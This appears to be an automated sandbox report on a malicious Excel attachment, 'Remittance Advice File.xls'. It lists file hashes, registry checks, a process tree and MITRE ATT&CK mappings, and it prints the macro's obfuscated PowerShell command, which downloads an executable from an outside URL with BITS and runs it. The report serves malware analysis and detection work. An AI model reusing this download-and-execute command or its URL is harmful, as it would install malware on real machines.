0e201d6a6fbac62df83faedc6af867e1b17de08220698b5f06c204ad4d936b83

General

Target

Remittance Advice File.xls
Size

73KB
MD5

ca027182d31698dcbb704e0d1a7c28d2
SHA1

628a5f48cbad45672a239e683bfc4eeadb82fbc3
SHA256

0e201d6a6fbac62df83faedc6af867e1b17de08220698b5f06c204ad4d936b83
SHA512

bbb8f18e4dbd1d67881a9c91b3da6bac785bb218dc04be3bb9f7aa7a01cd3b82d4ec234d438dd3f4bcbda44624c32535ab932321d6ca1a55e9d9bef65b0b7cfc

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://thepunchlineexpose.com/Manager/AnyDesk.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2612	396	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

396 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2424 powershell.exe
2424 powershell.exe
2424 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2424 powershell.exe

pid	process
2424	powershell.exe
2424	powershell.exe
2424	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2424	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE
396	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 396 wrote to memory of 2612	396	EXCEL.EXE	cmd.exe
PID 396 wrote to memory of 2612	396	EXCEL.EXE	cmd.exe
PID 2612 wrote to memory of 2424	2612	cmd.exe	powershell.exe
PID 2612 wrote to memory of 2424	2612	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Remittance Advice File.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:396

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\institutionsport.cmd" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://thepunchlineexpose.com/Manager/AnyDesk.e`xe -Destination C:\Users\Public\Documents\weekshe.e`xe;C:\Users\Public\Documents\weekshe.e`xe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Documents\institutionsport.cmd
MD5
e623d1a58b6060f53e373dc8d9850c87

SHA1
5d7ca4d6ffb2c4c96615b72acbf54060765c861d

SHA256
99f121fdaf92f6bfdb6af9bf6813fd10ce95b848378b964739b1ae7e667e34e9

SHA512
f8ae81455e3de663d89a255b46b98d3ff01c8741d73be3413163a2743ae2e00e47ec094f253f15cd8d0fa7aba04fbc31c52c7b23350435277a0507cbaa86f74b

Download Submit
memory/396-117-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmp

Filesize
64KB

Download
memory/396-115-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmp

Filesize
64KB

Download
memory/396-114-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmp

Filesize
64KB

Download
memory/396-118-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmp

Filesize
64KB

Download
memory/396-119-0x00000251CD890000-0x00000251CD892000-memory.dmp

Filesize
8KB

Download
memory/396-120-0x00000251CD890000-0x00000251CD892000-memory.dmp

Filesize
8KB

Download
memory/396-121-0x00000251CD890000-0x00000251CD892000-memory.dmp

Filesize
8KB

Download
memory/396-116-0x00007FFF79C30000-0x00007FFF79C40000-memory.dmp

Filesize
64KB

Download
memory/2424-292-0x000001BE47CF0000-0x000001BE47CF2000-memory.dmp

Filesize
8KB

Download
memory/2424-275-0x0000000000000000-mapping.dmp

Download
memory/2424-293-0x000001BE47CF3000-0x000001BE47CF5000-memory.dmp

Filesize
8KB

Download
memory/2424-419-0x000001BE47CF8000-0x000001BE47CF9000-memory.dmp

Filesize
4KB

Download
memory/2424-418-0x000001BE47CF6000-0x000001BE47CF8000-memory.dmp

Filesize
8KB

Download
memory/2612-272-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads